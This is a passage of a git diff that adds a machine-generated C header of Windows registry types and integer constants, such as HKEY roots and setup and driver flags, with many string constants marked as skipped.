+ diff --git a/stdlib/win32/registry.h b/stdlib/win32/registry.h new file mode 100644 index 0000000..903ecf5 --- /dev/null +++ b/stdlib/win32/registry.h @@ -0,0 +1,1024 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Registry`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define HKEY_CLASSES_ROOT -2147483648 +#define HKEY_CURRENT_USER -2147483647 +#define HKEY_LOCAL_MACHINE -2147483646 +#define HKEY_USERS -2147483645 +#define HKEY_PERFORMANCE_DATA -2147483644 +#define HKEY_PERFORMANCE_TEXT -2147483568 +#define HKEY_PERFORMANCE_NLSTEXT -2147483552 +#define HKEY_CURRENT_CONFIG -2147483643 +#define HKEY_DYN_DATA -2147483642 +#define HKEY_CURRENT_USER_LOCAL_SETTINGS -2147483641 +#define REG_PROCESS_APPKEY 0x1 +#define REG_USE_CURRENT_SECURITY_CONTEXT 0x2 +#define PROVIDER_KEEPS_VALUE_LENGTH 0x1 +#define REG_MUI_STRING_TRUNCATE 0x1 +#define REG_SECURE_CONNECTION 0x1 +#define REG_ALLOW_TRANSPORT_FALLBACK 0x2 +#define REG_ALLOW_UNSECURE_CONNECTION 0x4 +// SKIPPED const REGSTR_KEY_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_CONFIG: non-integer constant +// SKIPPED const REGSTR_KEY_ENUM: non-integer constant +// SKIPPED const REGSTR_KEY_ROOTENUM: non-integer constant +// SKIPPED const REGSTR_KEY_BIOSENUM: non-integer constant +// SKIPPED const REGSTR_KEY_ACPIENUM: non-integer constant +// SKIPPED const REGSTR_KEY_PCMCIAENUM: non-integer constant +// SKIPPED const REGSTR_KEY_PCIENUM: non-integer constant +// SKIPPED const REGSTR_KEY_VPOWERDENUM: non-integer constant +// SKIPPED const REGSTR_KEY_ISAENUM: non-integer constant +// SKIPPED const REGSTR_KEY_EISAENUM: non-integer constant +// SKIPPED const REGSTR_KEY_LOGCONFIG: non-integer constant +// SKIPPED const REGSTR_KEY_SYSTEMBOARD: non-integer constant +// SKIPPED const REGSTR_KEY_APM: non-integer constant +// SKIPPED const REGSTR_KEY_INIUPDATE: non-integer constant +// SKIPPED const REG_KEY_INSTDEV: non-integer constant +// SKIPPED const REGSTR_KEY_DOSOPTCDROM: non-integer constant +// SKIPPED const REGSTR_KEY_DOSOPTMOUSE: non-integer constant +// SKIPPED const REGSTR_KEY_KNOWNDOCKINGSTATES: non-integer constant +// SKIPPED const REGSTR_KEY_DEVICEPARAMETERS: non-integer constant +// SKIPPED const REGSTR_KEY_DRIVERPARAMETERS: non-integer constant +// SKIPPED const REGSTR_DEFAULT_INSTANCE: non-integer constant +// SKIPPED const REGSTR_PATH_SETUP: non-integer constant +// SKIPPED const REGSTR_PATH_DRIVERSIGN: non-integer constant +// SKIPPED const REGSTR_PATH_NONDRIVERSIGN: non-integer constant +// SKIPPED const REGSTR_PATH_DRIVERSIGN_POLICY: non-integer constant +// SKIPPED const REGSTR_PATH_NONDRIVERSIGN_POLICY: non-integer constant +// SKIPPED const REGSTR_PATH_PIFCONVERT: non-integer constant +// SKIPPED const REGSTR_PATH_MSDOSOPTS: non-integer constant +// SKIPPED const REGSTR_PATH_NOSUGGMSDOS: non-integer constant +// SKIPPED const REGSTR_PATH_NEWDOSBOX: non-integer constant +// SKIPPED const REGSTR_PATH_RUNONCE: non-integer constant +// SKIPPED const REGSTR_PATH_RUNONCEEX: non-integer constant +// SKIPPED const REGSTR_PATH_RUN: non-integer constant +// SKIPPED const REGSTR_PATH_RUNSERVICESONCE: non-integer constant +// SKIPPED const REGSTR_PATH_RUNSERVICES: non-integer constant +// SKIPPED const REGSTR_PATH_EXPLORER: non-integer constant +// SKIPPED const REGSTR_PATH_PROPERTYSYSTEM: non-integer constant +// SKIPPED const REGSTR_PATH_DETECT: non-integer constant +// SKIPPED const REGSTR_PATH_APPPATHS: non-integer constant +// SKIPPED const REGSTR_PATH_UNINSTALL: non-integer constant +// SKIPPED const REGSTR_PATH_REALMODENET: non-integer constant +// SKIPPED const REGSTR_PATH_NETEQUIV: non-integer constant +// SKIPPED const REGSTR_PATH_CVNETWORK: non-integer constant +// SKIPPED const REGSTR_PATH_WMI_SECURITY: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY_SHUTDOWNREASONUI: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY_SNAPSHOT: non-integer constant +// SKIPPED const REGSTR_PATH_RELIABILITY_POLICY_REPORTSNAPSHOT: non-integer constant +// SKIPPED const REGSTR_PATH_REINSTALL: non-integer constant +// SKIPPED const REGSTR_PATH_NT_CURRENTVERSION: non-integer constant +// SKIPPED const REGSTR_PATH_VOLUMECACHE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPLAY: non-integer constant +// SKIPPED const REGSTR_PATH_IDCONFIGDB: non-integer constant +// SKIPPED const REGSTR_PATH_CRITICALDEVICEDATABASE: non-integer constant +// SKIPPED const REGSTR_PATH_CLASS: non-integer constant +// SKIPPED const REGSTR_PATH_DISPLAYSETTINGS: non-integer constant +// SKIPPED const REGSTR_PATH_FONTS: non-integer constant +// SKIPPED const REGSTR_PATH_ENUM: non-integer constant +// SKIPPED const REGSTR_PATH_ROOT: non-integer constant +// SKIPPED const REGSTR_PATH_CURRENTCONTROLSET: non-integer constant +// SKIPPED const REGSTR_PATH_SYSTEMENUM: non-integer constant +// SKIPPED const REGSTR_PATH_HWPROFILES: non-integer constant +// SKIPPED const REGSTR_PATH_HWPROFILESCURRENT: non-integer constant +// SKIPPED const REGSTR_PATH_CLASS_NT: non-integer constant +// SKIPPED const REGSTR_PATH_PER_HW_ID_STORAGE: non-integer constant +// SKIPPED const REGSTR_PATH_DEVICE_CLASSES: non-integer constant +// SKIPPED const REGSTR_PATH_CODEVICEINSTALLERS: non-integer constant +// SKIPPED const REGSTR_PATH_BUSINFORMATION: non-integer constant +// SKIPPED const REGSTR_PATH_SERVICES: non-integer constant +// SKIPPED const REGSTR_PATH_VXD: non-integer constant +// SKIPPED const REGSTR_PATH_IOS: non-integer constant +// SKIPPED const REGSTR_PATH_VMM: non-integer constant +// SKIPPED const REGSTR_PATH_VPOWERD: non-integer constant +// SKIPPED const REGSTR_PATH_VNETSUP: non-integer constant +// SKIPPED const REGSTR_PATH_NWREDIR: non-integer constant +// SKIPPED const REGSTR_PATH_NCPSERVER: non-integer constant +// SKIPPED const REGSTR_PATH_VCOMM: non-integer constant +// SKIPPED const REGSTR_PATH_IOARB: non-integer constant +// SKIPPED const REGSTR_PATH_ADDRARB: non-integer constant +// SKIPPED const REGSTR_PATH_DMAARB: non-integer constant +// SKIPPED const REGSTR_PATH_IRQARB: non-integer constant +// SKIPPED const REGSTR_PATH_CODEPAGE: non-integer constant +// SKIPPED const REGSTR_PATH_FILESYSTEM: non-integer constant +// SKIPPED const REGSTR_PATH_FILESYSTEM_NOVOLTRACK: non-integer constant +// SKIPPED const REGSTR_PATH_CDFS: non-integer constant +// SKIPPED const REGSTR_PATH_WINBOOT: non-integer constant +// SKIPPED const REGSTR_PATH_INSTALLEDFILES: non-integer constant +// SKIPPED const REGSTR_PATH_VMM32FILES: non-integer constant +#define REGSTR_MAX_VALUE_LENGTH 0x100 +// SKIPPED const REGSTR_KEY_DEVICE_PROPERTIES: non-integer constant +// SKIPPED const REGSTR_VAL_SERVICE: non-integer constant +// SKIPPED const REGSTR_VAL_CLASSGUID: non-integer constant +// SKIPPED const REGSTR_VAL_DISABLECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_DOCKSTATE: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_INSTANCE: non-integer constant +// SKIPPED const REGSTR_VAL_SYMBOLIC_LINK: non-integer constant +// SKIPPED const REGSTR_VAL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_VAL_LOWERFILTERS: non-integer constant +// SKIPPED const REGSTR_VAL_UPPERFILTERS: non-integer constant +// SKIPPED const REGSTR_VAL_LOCATION_INFORMATION: non-integer constant +// SKIPPED const REGSTR_VAL_UI_NUMBER: non-integer constant +// SKIPPED const REGSTR_VAL_UI_NUMBER_DESC_FORMAT: non-integer constant +// SKIPPED const REGSTR_VAL_CAPABILITIES: non-integer constant +// SKIPPED const REGSTR_VAL_ADDRESS: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_CHARACTERISTICS: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_SECURITY_DESCRIPTOR: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICE_EXCLUSIVE: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCE_PICKER_TAGS: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCE_PICKER_EXCEPTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_CUSTOM_PROPERTY_CACHE_DATE: non-integer constant +// SKIPPED const REGSTR_VAL_CUSTOM_PROPERTY_HW_ID_KEY: non-integer constant +// SKIPPED const REGSTR_VAL_LAST_UPDATE_TIME: non-integer constant +// SKIPPED const REGSTR_VAL_CONTAINERID: non-integer constant +// SKIPPED const REGSTR_VAL_EJECT_PRIORITY: non-integer constant +// SKIPPED const REGSTR_KEY_CONTROL: non-integer constant +// SKIPPED const REGSTR_VAL_ACTIVESERVICE: non-integer constant +// SKIPPED const REGSTR_VAL_LINKED: non-integer constant +// SKIPPED const REGSTR_VAL_PHYSICALDEVICEOBJECT: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVAL_POLICY: non-integer constant +// SKIPPED const REGSTR_KEY_FILTERS: non-integer constant +// SKIPPED const REGSTR_VAL_LOWER_FILTER_DEFAULT_LEVEL: non-integer constant +// SKIPPED const REGSTR_VAL_UPPER_FILTER_DEFAULT_LEVEL: non-integer constant +// SKIPPED const REGSTR_KEY_LOWER_FILTER_LEVEL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_KEY_UPPER_FILTER_LEVEL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_VAL_LOWER_FILTER_LEVELS: non-integer constant +// SKIPPED const REGSTR_VAL_UPPER_FILTER_LEVELS: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_VERSION: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_BUILD: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_CSDVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_BITSPERPIXEL: non-integer constant +// SKIPPED const REGSTR_VAL_RESOLUTION: non-integer constant +// SKIPPED const REGSTR_VAL_DPILOGICALX: non-integer constant +// SKIPPED const REGSTR_VAL_DPILOGICALY: non-integer constant +// SKIPPED const REGSTR_VAL_DPIPHYSICALX: non-integer constant +// SKIPPED const REGSTR_VAL_DPIPHYSICALY: non-integer constant +// SKIPPED const REGSTR_VAL_REFRESHRATE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPLAYFLAGS: non-integer constant +// SKIPPED const REGSTR_PATH_CONTROLPANEL: non-integer constant +// SKIPPED const REGSTR_PATH_CONTROLSFOLDER: non-integer constant +// SKIPPED const REGSTR_VAL_DOSCP: non-integer constant +// SKIPPED const REGSTR_VAL_WINCP: non-integer constant +// SKIPPED const REGSTR_VAL_DONTUSEMEM: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMROOT: non-integer constant +// SKIPPED const REGSTR_VAL_BOOTCOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_REALNETSTART: non-integer constant +// SKIPPED const REGSTR_VAL_MEDIA: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICEPATH: non-integer constant +// SKIPPED const REGSTR_VAL_SRCPATH: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERCACHEPATH: non-integer constant +// SKIPPED const REGSTR_VAL_OLDWINDIR: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_REGOWNER: non-integer constant +// SKIPPED const REGSTR_VAL_REGORGANIZATION: non-integer constant +// SKIPPED const REGSTR_VAL_LICENSINGINFO: non-integer constant +// SKIPPED const REGSTR_VAL_OLDMSDOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_FIRSTINSTALLDATETIME: non-integer constant +// SKIPPED const REGSTR_VAL_INSTALLTYPE: non-integer constant +#define IT_COMPACT 0x0 +#define IT_TYPICAL 0x1 +#define IT_PORTABLE 0x2 +#define IT_CUSTOM 0x3 +// SKIPPED const REGSTR_VAL_WRAPPER: non-integer constant +// SKIPPED const REGSTR_KEY_RUNHISTORY: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEINTERVAL: non-integer constant +// SKIPPED const REGSTR_VAL_DIRTYSHUTDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_DIRTYSHUTDOWNTIME: non-integer constant +// SKIPPED const REGSTR_VAL_BT: non-integer constant +// SKIPPED const REGSTR_VAL_LASTCOMPUTERNAME: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEBT: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMP: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMPFORCED: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMPINTERVAL: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMPPOLICYINTERVAL: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEUPTIME: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEPMPOLICY: non-integer constant +// SKIPPED const REGSTR_VAL_REASONCODE: non-integer constant +// SKIPPED const REGSTR_VAL_COMMENT: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_CODE: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_COMMENT: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_PROCESS: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_USERNAME: non-integer constant +// SKIPPED const REGSTR_VAL_SHOWREASONUI: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWN_IGNORE_PREDEFINED: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWN_STATE_SNAPSHOT: non-integer constant +// SKIPPED const REGSTR_KEY_SETUP: non-integer constant +// SKIPPED const REGSTR_VAL_BOOTDIR: non-integer constant +// SKIPPED const REGSTR_VAL_WINBOOTDIR: non-integer constant +// SKIPPED const REGSTR_VAL_WINDIR: non-integer constant +// SKIPPED const REGSTR_VAL_APPINSTPATH: non-integer constant +// SKIPPED const REGSTR_KEY_EBDFILESLOCAL: non-integer constant +// SKIPPED const REGSTR_KEY_EBDFILESKEYBOARD: non-integer constant +// SKIPPED const REGSTR_KEY_EBDAUTOEXECBATLOCAL: non-integer constant +// SKIPPED const REGSTR_KEY_EBDAUTOEXECBATKEYBOARD: non-integer constant +// SKIPPED const REGSTR_KEY_EBDCONFIGSYSLOCAL: non-integer constant +// SKIPPED const REGSTR_KEY_EBDCONFIGSYSKEYBOARD: non-integer constant +// SKIPPED const REGSTR_VAL_POLICY: non-integer constant +// SKIPPED const REGSTR_VAL_BEHAVIOR_ON_FAILED_VERIFY: non-integer constant +#define DRIVERSIGN_NONE 0x0 +#define DRIVERSIGN_WARNING 0x1 +#define DRIVERSIGN_BLOCKING 0x2 +// SKIPPED const REGSTR_VAL_MSDOSMODE: non-integer constant +// SKIPPED const REGSTR_VAL_MSDOSMODEDISCARD: non-integer constant +// SKIPPED const REGSTR_VAL_DOSOPTGLOBALFLAGS: non-integer constant +#define DOSOPTGF_DEFCLEAN 1 +// SKIPPED const REGSTR_VAL_DOSOPTFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_OPTORDER: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIGSYS: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOEXEC: non-integer constant +// SKIPPED const REGSTR_VAL_STDDOSOPTION: non-integer constant +// SKIPPED const REGSTR_VAL_DOSOPTTIP: non-integer constant +#define DOSOPTF_DEFAULT 1 +#define DOSOPTF_SUPPORTED 2 +#define DOSOPTF_ALWAYSUSE 4 +#define DOSOPTF_USESPMODE 8 +#define DOSOPTF_PROVIDESUMB 16 +#define DOSOPTF_NEEDSETUP 32 +#define DOSOPTF_INDOSSTART 64 +#define DOSOPTF_MULTIPLE 128 +#define SUF_FIRSTTIME 1 +#define SUF_EXPRESS 2 +#define SUF_BATCHINF 4 +#define SUF_CLEAN 8 +#define SUF_INSETUP 16 +#define SUF_NETSETUP 32 +#define SUF_NETHDBOOT 64 +#define SUF_NETRPLBOOT 128 +#define SUF_SBSCOPYOK 256 +// SKIPPED const REGSTR_VAL_DOSPAGER: non-integer constant +// SKIPPED const REGSTR_VAL_VXDGROUPS: non-integer constant +// SKIPPED const REGSTR_VAL_VPOWERDFLAGS: non-integer constant +#define VPDF_DISABLEPWRMGMT 0x1 +#define VPDF_FORCEAPM10MODE 0x2 +#define VPDF_SKIPINTELSLCHECK 0x4 +#define VPDF_DISABLEPWRSTATUSPOLL 0x8 +#define VPDF_DISABLERINGRESUME 0x10 +#define VPDF_SHOWMULTIBATT 0x20 +#define BIF_SHOWSIMILARDRIVERS 0x1 +#define BIF_RAWDEVICENEEDSDRIVER 0x2 +// SKIPPED const REGSTR_VAL_WORKGROUP: non-integer constant +// SKIPPED const REGSTR_VAL_DIRECTHOST: non-integer constant +// SKIPPED const REGSTR_VAL_FILESHARING: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTSHARING: non-integer constant +// SKIPPED const REGSTR_VAL_FIRSTNETDRIVE: non-integer constant +// SKIPPED const REGSTR_VAL_MAXCONNECTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_APISUPPORT: non-integer constant +// SKIPPED const REGSTR_VAL_MAXRETRY: non-integer constant +// SKIPPED const REGSTR_VAL_MINRETRY: non-integer constant +// SKIPPED const REGSTR_VAL_SUPPORTLFN: non-integer constant +// SKIPPED const REGSTR_VAL_SUPPORTBURST: non-integer constant +// SKIPPED const REGSTR_VAL_SUPPORTTUNNELLING: non-integer constant +// SKIPPED const REGSTR_VAL_FULLTRACE: non-integer constant +// SKIPPED const REGSTR_VAL_READCACHING: non-integer constant +// SKIPPED const REGSTR_VAL_SHOWDOTS: non-integer constant +// SKIPPED const REGSTR_VAL_GAPTIME: non-integer constant +// SKIPPED const REGSTR_VAL_SEARCHMODE: non-integer constant +// SKIPPED const REGSTR_VAL_SHELLVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_MAXLIP: non-integer constant +// SKIPPED const REGSTR_VAL_PRESERVECASE: non-integer constant +// SKIPPED const REGSTR_VAL_OPTIMIZESFN: non-integer constant +// SKIPPED const REGSTR_VAL_NCP_BROWSEMASTER: non-integer constant +// SKIPPED const REGSTR_VAL_NCP_USEPEERBROWSING: non-integer constant +// SKIPPED const REGSTR_VAL_NCP_USESAP: non-integer constant +// SKIPPED const REGSTR_VAL_PCCARD_POWER: non-integer constant +// SKIPPED const REGSTR_VAL_WIN31FILESYSTEM: non-integer constant +// SKIPPED const REGSTR_VAL_PRESERVELONGNAMES: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVEWRITEBEHIND: non-integer constant +// SKIPPED const REGSTR_VAL_ASYNCFILECOMMIT: non-integer constant +// SKIPPED const REGSTR_VAL_PATHCACHECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_NAMECACHECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_CONTIGFILEALLOC: non-integer constant +// SKIPPED const REGSTR_VAL_FREESPACERATIO: non-integer constant +// SKIPPED const REGSTR_VAL_VOLIDLETIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_BUFFIDLETIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_BUFFAGETIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_NAMENUMERICTAIL: non-integer constant +// SKIPPED const REGSTR_VAL_READAHEADTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_DOUBLEBUFFER: non-integer constant +// SKIPPED const REGSTR_VAL_SOFTCOMPATMODE: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVESPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEPMIO: non-integer constant +// SKIPPED const REGSTR_VAL_FORCERMIO: non-integer constant +// SKIPPED const REGSTR_VAL_LASTBOOTPMDRVS: non-integer constant +// SKIPPED const REGSTR_VAL_ACSPINDOWNPREVIOUS: non-integer constant +// SKIPPED const REGSTR_VAL_BATSPINDOWNPREVIOUS: non-integer constant +// SKIPPED const REGSTR_VAL_VIRTUALHDIRQ: non-integer constant +// SKIPPED const REGSTR_VAL_SRVNAMECACHECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_SRVNAMECACHE: non-integer constant +// SKIPPED const REGSTR_VAL_SRVNAMECACHENETPROV: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOMOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_COMPRESSIONMETHOD: non-integer constant +// SKIPPED const REGSTR_VAL_COMPRESSIONTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_ACDRIVESPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_BATDRIVESPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_CDCACHESIZE: non-integer constant +// SKIPPED const REGSTR_VAL_CDPREFETCH: non-integer constant +// SKIPPED const REGSTR_VAL_CDPREFETCHTAIL: non-integer constant +// SKIPPED const REGSTR_VAL_CDRAWCACHE: non-integer constant +// SKIPPED const REGSTR_VAL_CDEXTERRORS: non-integer constant +// SKIPPED const REGSTR_VAL_CDSVDSENSE: non-integer constant +// SKIPPED const REGSTR_VAL_CDSHOWVERSIONS: non-integer constant +// SKIPPED const REGSTR_VAL_CDCOMPATNAMES: non-integer constant +// SKIPPED const REGSTR_VAL_CDNOREADAHEAD: non-integer constant +// SKIPPED const REGSTR_VAL_SCSI: non-integer constant +// SKIPPED const REGSTR_VAL_ESDI: non-integer constant +// SKIPPED const REGSTR_VAL_FLOP: non-integer constant +// SKIPPED const REGSTR_VAL_DISK: non-integer constant +// SKIPPED const REGSTR_VAL_CDROM: non-integer constant +// SKIPPED const REGSTR_VAL_TAPE: non-integer constant +// SKIPPED const REGSTR_VAL_SCANNER: non-integer constant +// SKIPPED const REGSTR_VAL_FLOPPY: non-integer constant +// SKIPPED const REGSTR_VAL_SCSITID: non-integer constant +// SKIPPED const REGSTR_VAL_SCSILUN: non-integer constant +// SKIPPED const REGSTR_VAL_REVLEVEL: non-integer constant +// SKIPPED const REGSTR_VAL_PRODUCTID: non-integer constant +// SKIPPED const REGSTR_VAL_PRODUCTTYPE: non-integer constant +// SKIPPED const REGSTR_VAL_DEVTYPE: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVABLE: non-integer constant +// SKIPPED const REGSTR_VAL_CURDRVLET: non-integer constant +// SKIPPED const REGSTR_VAL_USRDRVLET: non-integer constant +// SKIPPED const REGSTR_VAL_SYNCDATAXFER: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOINSNOTE: non-integer constant +// SKIPPED const REGSTR_VAL_DISCONNECT: non-integer constant +// SKIPPED const REGSTR_VAL_INT13: non-integer constant +// SKIPPED const REGSTR_VAL_PMODE_INT13: non-integer constant +// SKIPPED const REGSTR_VAL_USERSETTINGS: non-integer constant +// SKIPPED const REGSTR_VAL_NOIDE: non-integer constant +// SKIPPED const REGSTR_VAL_DISKCLASSNAME: non-integer constant +// SKIPPED const REGSTR_VAL_CDROMCLASSNAME: non-integer constant +// SKIPPED const REGSTR_VAL_FORCELOAD: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEFIFO: non-integer constant +// SKIPPED const REGSTR_VAL_FORCECL: non-integer constant +// SKIPPED const REGSTR_VAL_NOUSECLASS: non-integer constant +// SKIPPED const REGSTR_VAL_NOINSTALLCLASS: non-integer constant +// SKIPPED const REGSTR_VAL_NODISPLAYCLASS: non-integer constant +// SKIPPED const REGSTR_VAL_SILENTINSTALL: non-integer constant +// SKIPPED const REGSTR_VAL_FSFILTERCLASS: non-integer constant +// SKIPPED const REGSTR_KEY_PCMCIA_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_SCSI_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_PORTS_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MEDIA_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_DISPLAY_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_KEYBOARD_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MOUSE_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MONITOR_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MODEM_CLASS: non-integer constant +// SKIPPED const REGSTR_VAL_PCMCIA_OPT: non-integer constant +#define PCMCIA_OPT_HAVE_SOCKET 1 +#define PCMCIA_OPT_AUTOMEM 4 +#define PCMCIA_OPT_NO_SOUND 8 +#define PCMCIA_OPT_NO_AUDIO 16 +#define PCMCIA_OPT_NO_APMREMOVE 32 +// SKIPPED const REGSTR_VAL_PCMCIA_MEM: non-integer constant +#define PCMCIA_DEF_MEMBEGIN 0xc0000 +#define PCMCIA_DEF_MEMEND 0xffffff +#define PCMCIA_DEF_MEMLEN 0x1000 +// SKIPPED const REGSTR_VAL_PCMCIA_ALLOC: non-integer constant +// SKIPPED const REGSTR_VAL_PCMCIA_ATAD: non-integer constant +// SKIPPED const REGSTR_VAL_PCMCIA_SIZ: non-integer constant +#define PCMCIA_DEF_MIN_REGION 0x10000 +// SKIPPED const REGSTR_VAL_P1284MDL: non-integer constant +// SKIPPED const REGSTR_VAL_P1284MFG: non-integer constant +// SKIPPED const REGSTR_VAL_ISAPNP: non-integer constant +// SKIPPED const REGSTR_VAL_ISAPNP_RDP_OVERRIDE: non-integer constant +// SKIPPED const REGSTR_VAL_PCI: non-integer constant +// SKIPPED const REGSTR_PCI_OPTIONS: non-integer constant +// SKIPPED const REGSTR_PCI_DUAL_IDE: non-integer constant +#define PCI_OPTIONS_USE_BIOS 1 +#define PCI_OPTIONS_USE_IRQ_STEERING 2 +#define AGP_FLAG_NO_1X_RATE 1 +#define AGP_FLAG_NO_2X_RATE 2 +#define AGP_FLAG_NO_4X_RATE 4 +#define AGP_FLAG_NO_8X_RATE 8 +#define AGP_FLAG_REVERSE_INITIALIZATION 128 +#define AGP_FLAG_NO_SBA_ENABLE 256 +#define AGP_FLAG_NO_FW_ENABLE 512 +#define AGP_FLAG_SPECIAL_TARGET 1048575 +#define AGP_FLAG_SPECIAL_RESERVE 1015808 +// SKIPPED const REGSTR_KEY_CRASHES: non-integer constant +// SKIPPED const REGSTR_KEY_DANGERS: non-integer constant +// SKIPPED const REGSTR_KEY_DETMODVARS: non-integer constant +// SKIPPED const REGSTR_KEY_NDISINFO: non-integer constant +// SKIPPED const REGSTR_VAL_PROTINIPATH: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCES: non-integer constant +// SKIPPED const REGSTR_VAL_CRASHFUNCS: non-integer constant +// SKIPPED const REGSTR_VAL_CLASS: non-integer constant +// SKIPPED const REGSTR_VAL_CLASSDESC: non-integer constant +// SKIPPED const REGSTR_VAL_DEVDESC: non-integer constant +// SKIPPED const REGSTR_VAL_BOOTCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_DETFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_DETFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_COMPATIBLEIDS: non-integer constant +// SKIPPED const REGSTR_VAL_DETCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_VERIFYKEY: non-integer constant +// SKIPPED const REGSTR_VAL_COMINFO: non-integer constant +// SKIPPED const REGSTR_VAL_INFNAME: non-integer constant +// SKIPPED const REGSTR_VAL_CARDSPECIFIC: non-integer constant +// SKIPPED const REGSTR_VAL_NETOSTYPE: non-integer constant +// SKIPPED const REGSTR_DATA_NETOS_NDIS: non-integer constant +// SKIPPED const REGSTR_DATA_NETOS_ODI: non-integer constant +// SKIPPED const REGSTR_DATA_NETOS_IPX: non-integer constant +// SKIPPED const REGSTR_VAL_MFG: non-integer constant +// SKIPPED const REGSTR_VAL_SCAN_ONLY_FIRST: non-integer constant +// SKIPPED const REGSTR_VAL_SHARE_IRQ: non-integer constant +// SKIPPED const REGSTR_VAL_NONSTANDARD_ATAPI: non-integer constant +// SKIPPED const REGSTR_VAL_IDE_FORCE_SERIALIZE: non-integer constant +#define REGSTR_VAL_MAX_HCID_LEN 0x400 +// SKIPPED const REGSTR_VAL_HWREV: non-integer constant +// SKIPPED const REGSTR_VAL_ENABLEINTS: non-integer constant +#define REGDF_NOTDETIO 0x1 +#define REGDF_NOTDETMEM 0x2 +#define REGDF_NOTDETIRQ 0x4 +#define REGDF_NOTDETDMA 0x8 +#define REGDF_NEEDFULLCONFIG 0x10 +#define REGDF_GENFORCEDCONFIG 0x20 +#define REGDF_NODETCONFIG 0x8000 +#define REGDF_CONFLICTIO 0x10000 +#define REGDF_CONFLICTMEM 0x20000 +#define REGDF_CONFLICTIRQ 0x40000 +#define 